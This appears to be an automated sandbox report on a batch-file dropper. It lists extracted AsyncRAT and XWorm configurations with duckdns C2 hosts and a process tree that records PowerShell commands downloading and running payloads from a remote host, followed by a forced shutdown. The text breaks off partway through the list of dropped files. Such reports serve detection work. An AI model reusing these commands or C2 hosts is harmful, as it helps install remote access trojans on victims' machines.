Analysis

  • max time kernel
    514s
  • max time network
    553s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    22-11-2024 11:08

Errors

Reason
Machine shutdown

General

  • Target

    new.bat

  • Size

    3KB

  • MD5

    bd47e14051c394e917f8eb7db0d37fd9

  • SHA1

    ea77a21b48e513515944fdc06f4b89fad8fd7193

  • SHA256

    8fd4747164c2b456115b9bfa01b06d6cc94ffe8de0b73065915d43e43bd7521e

  • SHA512

    715bc05d6d75fc400e6998959bcf2517e854782783175c559e0d720a85b420c0e2cae4097ec50e1257d84e5fbda494ed33c5e6f7f451ace877bdf52e19d7a54e

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

sdanarchynd.duckdns.org:7878

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

soasyncb.duckdns.org:6745

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

C2

jkvernm.duckdns.org:8520

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

xworm

Version

3.1

C2

hnxwrm3.duckdns.org:8292

Mutex

7OmhyCIQgrHx3yxU

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family

xworm

Version

5.0

C2

newxrm5.duckdns.org:9390

momentnb3901.duckdns.org:3901

Mutex

0IpUtNjbaz65ubYv

Attributes
  • install_file

    USB.exe

aes.plain
aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Detect Xworm Payload 3 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Async RAT payload 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Powershell Invoke Web Request.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 42 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3580
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4588
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq AvastUI.exe"
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4048
        • C:\Windows\system32\find.exe
          find /i "AvastUI.exe"
          3⤵
            PID:1160
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq avgui.exe"
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5068
          • C:\Windows\system32\find.exe
            find /i "avgui.exe"
            3⤵
              PID:1440
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
              3⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:320
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "try { Expand-Archive -Path 'C:\Users\Admin\Downloads\downloaded.zip' -DestinationPath 'C:\Users\Admin\Downloads\Extracted' -Force } catch { exit 1 }"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3724
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe ana.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              • Suspicious use of WriteProcessMemory
              PID:3800
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe asy.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              PID:2568
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe ven.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              PID:3424
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe hvn.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              PID:3284
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe xw3.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              PID:4092
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe xw5.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              PID:2940
            • C:\Users\Admin\Downloads\Extracted\Python\Python312\python.exe
              python.exe ukk.py
              3⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
              PID:3176
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/startuppp.bat' -OutFile 'C:\Users\Admin\Downloads\startuppp.bat' }"
              3⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3652
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/FTSP.zip' -OutFile 'C:\Users\Admin\Downloads\FTSP.zip' }"
              3⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3028
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1616
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2220
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2200
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4524
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4896
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1280
          • C:\Windows\System32\notepad.exe
            C:\Windows\System32\notepad.exe
            2⤵
            • Deletes itself
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1156
            • C:\Windows\System32\shutdown.exe
              shutdown.exe /f /s /t 0
              3⤵
                PID:3596
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
            1⤵
              PID:3524
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k UnistackSvcGroup
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1900
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:4852
            • C:\Windows\system32\rundll32.exe
              "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy
              1⤵
                PID:2764
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x4 /state0:0xa39c2055 /state1:0x41c64e6d
                1⤵
                  PID:4372

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                  Filesize

                  2KB

                  MD5

                  ed30ca9187bf5593affb3dc9276309a6

                  SHA1

                  c63757897a6c43a44102b221fe8dc36355e99359

                  SHA256

                  81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

                  SHA512

                  1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  1KB

                  MD5

                  b957d7d93866da390febf24c9fad2206

                  SHA1

                  08faeac0a3c1aaeb062805224f8e76307efb4fed

                  SHA256

                  bef98bd806d1b16e0bad91e464f29f52aca7c5891640f3106042690d81e7775e

                  SHA512

                  933df66e1f5b459dfb96aa3994a186bfcad1a9eef93e64507d23a15768ab71bb4988e18630fa51eb15c5c07d7c0e8018a551ec801901ca20a717f647733edccb

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\LCLWU0HG\microsoft.windows[1].xml

                  Filesize

                  97B

                  MD5

                  2a1a81e3a88c48748e4f6dea19416bd4

                  SHA1

                  01542f154da58f93e6b8f6cd1eac71140c720170

                  SHA256

                  574494fb9a6f0f17ac2e56ec90e781cb2c1b58a8c4b8cf0fd8a80c37e04c0e16

                  SHA512

                  6a788fb0e04d4b1a7572983cfc5635aa0d6b7b5ee430079d6a075eda2098c48fbd56a5cf7329c87854f1c63f0465c6c144097bd89e4617b241fcf5c80c620196

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5728f11f-3485-4903-aeec-f2f2dbb09564}\0.0.filtertrie.intermediate.txt

                  Filesize

                  1KB

                  MD5

                  8609241ac301971b563b8864447f5fbc

                  SHA1

                  81b1e9382f7012f2441efcec40a5aabf46f34397

                  SHA256

                  94d0c4ea1f705b557a8dd983931ecab83f4d19e691669f2723781d406d38a282

                  SHA512

                  e536d2ae24ee17df34e28bcd1220f20901ec9b19a6f69b0c87f82a6535c813737681496927d9bea0b90e33b7c8236c77790a55d9a8514f5084ed3ad16d71c554

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5728f11f-3485-4903-aeec-f2f2dbb09564}\0.1.filtertrie.intermediate.txt

                  Filesize

                  5B

                  MD5

                  34bd1dfb9f72cf4f86e6df6da0a9e49a

                  SHA1

                  5f96d66f33c81c0b10df2128d3860e3cb7e89563

                  SHA256

                  8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c

                  SHA512

                  e3787de7c4bc70ca62234d9a4cdc6bd665bffa66debe3851ee3e8e49e7498b9f1cbc01294bf5e9f75de13fb78d05879e82fa4b89ee45623fe5bf7ac7e48eda96

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5728f11f-3485-4903-aeec-f2f2dbb09564}\0.2.filtertrie.intermediate.txt

                  Filesize

                  5B

                  MD5

                  c204e9faaf8565ad333828beff2d786e

                  SHA1

                  7d23864f5e2a12c1a5f93b555d2d3e7c8f78eec1

                  SHA256

                  d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f

                  SHA512

                  e72f4f79a4ae2e5e40a41b322bc0408a6dec282f90e01e0a8aaedf9fb9d6f04a60f45a844595727539c1643328e9c1b989b90785271cc30a6550bbda6b1909f8

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5728f11f-3485-4903-aeec-f2f2dbb09564}\Apps.ft

                  Filesize

                  1KB

                  MD5

                  6c78adbcc2f3ba7a2ad306983176414c

                  SHA1

                  484787d9aef671594b4d91b6c7d2d5c215f46260

                  SHA256

                  8f2abe81c4d834b96b5e39b504949cd04aef23e290309b413f501b396efd381a

                  SHA512

                  69bb126822ee7008d30135f7c216bf364e8e70ec5ca09cff58671d3c29081f467719bedb172cc14962aeeef22c34fb7e4c4a6aed26c26691a4cfef3816138c69

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5728f11f-3485-4903-aeec-f2f2dbb09564}\Apps.index

                  Filesize

                  879KB

                  MD5

                  5e4ec42046e35b20c1b8d97c17926572

                  SHA1

                  d0f371a97b676240bd90f9fa1a0b14f97f9b1016

                  SHA256

                  6a8c0c8cc58a866d0b874926f0ff1e2034a60bb18a2c584dd7f100be49c0febc

                  SHA512

                  d8bc115f3e0632aa6df6d1ca949e53a5724eff26c9d42d90686df0aea777a00b6c3d1738adf7807c7c752f5f702c4bce1bee158d1f9e765a0148c960ea0113af

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ec9862db-abfd-4be2-9d70-d28ab830ead2}\apps.csg

                  Filesize

                  444B

                  MD5

                  5475132f1c603298967f332dc9ffb864

                  SHA1

                  4749174f29f34c7d75979c25f31d79774a49ea46

                  SHA256

                  0b0af873ef116a51fc2a2329dc9102817ce923f32a989c7a6846b4329abd62cd

                  SHA512

                  54433a284a6b7185c5f2131928b636d6850babebc09acc5ee6a747832f9e37945a60a7192f857a2f6b4dd20433ca38f24b8e438ba1424cc5c73f0aa2d8c946ff

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ec9862db-abfd-4be2-9d70-d28ab830ead2}\apps.schema

                  Filesize

                  150B

                  MD5

                  1659677c45c49a78f33551da43494005

                  SHA1

                  ae588ef3c9ea7839be032ab4323e04bc260d9387

                  SHA256

                  5af0fc2a0b5ccecdc04e54b3c60f28e3ff5c7d4e1809c6d7c8469f0567c090bb

                  SHA512

                  740a1b6fd80508f29f0f080a8daddec802aabed467d8c5394468b0cf79d7628c1cb5b93cf69ed785999e8d4e2b0f86776b428d4fa0d1afcdf3cbf305615e5030

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ec9862db-abfd-4be2-9d70-d28ab830ead2}\appsconversions.txt

                  Filesize

                  1.4MB

                  MD5

                  2bef0e21ceb249ffb5f123c1e5bd0292

                  SHA1

                  86877a464a0739114e45242b9d427e368ebcc02c

                  SHA256

                  8b9fae5ea9dd21c2313022e151788b276d995c8b9115ee46832b804a914e6307

                  SHA512

                  f5b49f08b44a23f81198b6716195b868e76b2a23a388449356b73f8261107733f05baa027f8cdb8e469086a9869f4a64983c76da0dc978beb4ec1cb257532c6b

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ec9862db-abfd-4be2-9d70-d28ab830ead2}\appsglobals.txt

                  Filesize

                  343KB

                  MD5

                  931b27b3ec2c5e9f29439fba87ec0dc9

                  SHA1

                  dd5e78f004c55bbebcd1d66786efc5ca4575c9b4

                  SHA256

                  541dfa71a3728424420f082023346365cca013af03629fd243b11d8762e3403e

                  SHA512

                  4ba517f09d9ad15efd3db5a79747e42db53885d3af7ccc425d52c711a72e15d24648f8a38bc7e001b3b4cc2180996c6cac3949771aa1c278ca3eb7542eae23fd

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{ec9862db-abfd-4be2-9d70-d28ab830ead2}\appssynonyms.txt

                  Filesize

                  237KB

                  MD5

                  06a69ad411292eca66697dc17898e653

                  SHA1

                  fbdcfa0e1761ddcc43a0fb280bbcd2743ba8820d

                  SHA256

                  2aa90f795a65f0e636154def7d84094af2e9a5f71b1b73f168a6ea23e74476d1

                  SHA512

                  ceb4b102309dffb65804e3a0d54b8627fd88920f555b334c3eac56b13eeb5075222d794c3cdbc3cda8bf1658325fdecf6495334e2c89b5133c9a967ec0d15693

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133767477580472390.txt

                  Filesize

                  3KB

                  MD5

                  6c7c5879f1c75b60ca6fe7048fdf88b6

                  SHA1

                  e3faf0e19132003dfc8617a40933f760ec6b64c4

                  SHA256

                  5391afca6e19b795f4790c36b762d967859b8dcab7f34f40cd3e9d02fb8ab74c

                  SHA512

                  23a865f4b8d9b04b85d85c7e81a24ca6e28b12ad74acc9256ac564b437adeb0c64cb5fdfc723dde91f38a6c9363e63350791eba9d9217d67b9b387ea8ec209bb

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

                  Filesize

                  689KB

                  MD5

                  2dee0ab82c5db228dee2de2fe0d82eb3

                  SHA1

                  c6231ad00bd775537fb422a86bfe2b5754e9b91d

                  SHA256

                  0e01a47917642eac553b6d0feb6e97b398f7af84c5ffc74ba35ca66d7a341d39

                  SHA512

                  c46ae09aab1f240ba384044ef46240a4cb02b6144b0403d690ff7ddcf79acc67da345c98254ef5436a4008fb419c889af43489fedf86e8ba822128365f30763f

                • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat

                  Filesize

                  2KB

                  MD5

                  811d11cd22b29c71c67f2948778d2a20

                  SHA1

                  e8d0c088e050cf5e917bdffd9e3883445a3f48b8

                  SHA256

                  0c9081643dee6e9a6cd3561fdeba820beee7da794d00dd07352474025b0b3532

                  SHA512

                  aa1a8e67a5925213c94bbb96a8f3589aa3538305c6217adf288db68b4b3a2238ef53a3ef39d91ab9af8687f5581d6910eeb48d16909046dcd02e46f18e6797ee

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3seixlbj.3p4.ps1

                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\DLLs\_ctypes.pyd

                  Filesize

                  122KB

                  MD5

                  bbd5533fc875a4a075097a7c6aba865e

                  SHA1

                  ab91e62c6d02d211a1c0683cb6c5b0bdd17cbf00

                  SHA256

                  be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570

                  SHA512

                  23ef351941f459dee7ed2cebbae21969e97b61c0d877cfe15e401c36369d2a2491ca886be789b1a0c5066d6a8835fd06db28b5b28fb6e9df84c2d0b0d8e9850e

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\DLLs\libffi-8.dll

                  Filesize

                  38KB

                  MD5

                  0f8e4992ca92baaf54cc0b43aaccce21

                  SHA1

                  c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

                  SHA256

                  eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

                  SHA512

                  6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\base64.cpython-312.pyc

                  Filesize

                  23KB

                  MD5

                  6a425637cb61c65ae8cfe0d83e6e3b77

                  SHA1

                  d7615d5216ab6d69fbff349bf7e12fe5aa45c741

                  SHA256

                  575e9d22cf5e94a7c15044c45bd8f7c03fce5b8b92336651d57ea5e20da188f4

                  SHA512

                  84ca7a4f05bc5fbef41fde057dc10a6cc252c4a371b28657085766638a04beacff22c2ac1588d7b077cac6eebe5bfc7c8aadf4ce4f8468282c2a336f7b8d3e27

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\copyreg.cpython-312.pyc

                  Filesize

                  7KB

                  MD5

                  f7aedd3590eb41a2c896ca28a81de885

                  SHA1

                  a9260f024edc547001b4bd4e69faf70659c3c301

                  SHA256

                  45516d16a5b4b94a3ec6425b90d90dc34b227a098792f926f9597f2cc9093b0f

                  SHA512

                  b49bcdc653f6b661d3cb56ae699d397811e032f9f482037bb0b9cf8b8075384caf5cc179b195faf4e64957efeae1f6b18a867692e2d58f189fc9871a72e2ff94

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\enum.cpython-312.pyc

                  Filesize

                  78KB

                  MD5

                  bb08f420f5dfd2344aa42e77cd36669c

                  SHA1

                  5e6f66233b1a85bfb8fa1812b8f3b1f63e68151c

                  SHA256

                  23440df45b19d66e0d6177162bb06eb02415cdb8b7ff3acc5bf8b17fd463b1f1

                  SHA512

                  c2811310838e4ba03211117bb06e8434633365959f9e29888450fcaff1d9de0349b65d91f7e3a6603ce9bcaf79e88f5b48e5c557575fda61e4569c8953c9c34a

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\functools.cpython-312.pyc

                  Filesize

                  39KB

                  MD5

                  a8cf4f3f701751740dac394fc396aec7

                  SHA1

                  73c5cc6c6d08080e788337494b2c39b9703423b6

                  SHA256

                  3334f1b6609e60a7c5b4d5630654de245ff9a5c8a7072671a850b4a2056319e9

                  SHA512

                  84e64b35e08e73dffc66d490c52f199fc10f13fab4aab5fd65cb0a1539f555bee6e3524fd353a468a637db165421a6854954e14674dbee12625a6300e092a323

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\keyword.cpython-312.pyc

                  Filesize

                  1KB

                  MD5

                  f54b9393d80136be78dcddae5e1d2aef

                  SHA1

                  2ae1577de2c4c448bb8b6c20e4a56268720d175e

                  SHA256

                  59dc1abb094e9a7cf5277a32ad4e0a285a6530713915627e1a2866f5847359de

                  SHA512

                  813e471182247c2f0c5e2f1cc49130d510fdce2eac3e214a2c63f3fba9f5f21a67f5b669997129cfa25e09465ae9e0b62bfe5da3100a87f95ad2701c6869b132

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\operator.cpython-312.pyc

                  Filesize

                  16KB

                  MD5

                  9439ffb1d4bbb5cc97e565e7431c4faf

                  SHA1

                  c929fec735d8281ef0e31961b2aae75a8de84b12

                  SHA256

                  7b691b1b0892c1ac26351847b8e4740cf395e0ef78900efc6d37290f68811691

                  SHA512

                  38844f9c8953641d1145d194d4f2700fa74865d6b6a1da5b5174081c610486266cd7cda770d0d366a5fa0186c55bbddb2cab399b9e921196579759a0b58f9ffb

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\reprlib.cpython-312.pyc

                  Filesize

                  9KB

                  MD5

                  7be37e702cfe628d2ff7ee74cef7b3ad

                  SHA1

                  e21ce6657e561806c8e1155486b97ae3bbeba3fb

                  SHA256

                  6924a3b72dea632fb8fce937e42259894262b13aa3f044c825c95cf942ee35aa

                  SHA512

                  bb0d7162fd65f640193b2c5164cb2e3c81a196c885b6a448cf8d3e0ce6769c1e052ad7bde89dec89c9c1ce0998535dbeebca321749f293f4a37e8a6c3c9603d3

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\struct.cpython-312.pyc

                  Filesize

                  364B

                  MD5

                  29ae69bad548bcb4adc79ed4bd7f073d

                  SHA1

                  4ce183af84f7cb3c428ef87d97c03c871417026d

                  SHA256

                  038ef897ce5864486e09285946d54c459421b7d10253565c1e2a13857d78b6a9

                  SHA512

                  fb90f1ddddadd634af51d8af4d0cd0a8b5011c754d068410bc723c3f6a442f8bdf8105d69f4f77539c5ffb8c446ece7dbcd84a2f40483d3b7f54fe4e76fb3e08

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\__pycache__\types.cpython-312.pyc

                  Filesize

                  14KB

                  MD5

                  c5d38a269d5b92e2bfde072a30c45e33

                  SHA1

                  23a0d92d7c87656b952439d7c8bba43049bd535e

                  SHA256

                  83437236d1d5c63d0e5ab989e104cd3bbce11ea2b3509bded6bac3376a360f5b

                  SHA512

                  7ff7179e86f9581d1f71459ca1c6959e0e9cfda2840f26df13f84fab36b823ca10fd5c3966209021348e723269f22afcc69cb089230c86ec5d2d6ae5c10cd505

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\base64.py

                  Filesize

                  20KB

                  MD5

                  231ae490d92466b1573e541649772154

                  SHA1

                  4e47769f5a3239f17af2ce1d9a93c411c195a932

                  SHA256

                  9e685425290c771df1a277b5c7787ad5d4cf0312f2c4b042ce44756df6a3d112

                  SHA512

                  7084b49f0788bfbe035bc2fe42db7a63b21ebc99f63c03f80dec5569067c1e63312d8c5a754f2d72d7c9bb51fa23ca479fcba78682610eb2b68870cbeae1bea3

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\collections\__init__.py

                  Filesize

                  52KB

                  MD5

                  251382c3e093c311a3e83651cbdbcc11

                  SHA1

                  28a9de0e827b37280c44684f59fd3fcc54e3eabd

                  SHA256

                  1eb4c4445883fd706016aca377d9e5c378bac0412d7c9b20f71cae695d6bb656

                  SHA512

                  010b171f3dd0aa676261a3432fe392568f364fe43c6cb4615b641994eb2faf48caabf3080edf3c00a1a65fc43748caaf692a3c7d1311b6c90825ffce185162b0

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\collections\__pycache__\__init__.cpython-312.pyc

                  Filesize

                  71KB

                  MD5

                  5ded9aebc5bb1b2b7d27443e6e0a9437

                  SHA1

                  32c060890716c8aced35c92e2e7ba23199a2fd7a

                  SHA256

                  8589a1421368d7b06c7ff575007d85b5cade092062f814b7aa4873c2beade5bc

                  SHA512

                  7509ef1cfc98629fb5916a2913225098d4a84ecd7bb2cac13df80486dc11b478d1e605b1e2bf3b9df89364049de1289269b48b389313937786be985088700af5

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\copyreg.py

                  Filesize

                  7KB

                  MD5

                  5eb8600498b0076c779df8e9967cc987

                  SHA1

                  6ae4d522fd0e15a40553be46fb0080cf837a2d40

                  SHA256

                  ea2363638fe83e8e5b007013a821841371a615d99414b3c2f8f19152ca109a07

                  SHA512

                  faa410a313ce8a1e2427fb5ae8aa272689e71ae8c3f9c81e95820ed2b267bb79d7749754bef05c24e702bc80bb288b77a14f6711c016df405511822713eee8c6

                • C:\Users\Admin\Downloads\Extracted\Python\Python312\Lib\ctypes\__init__.py

                  Filesize

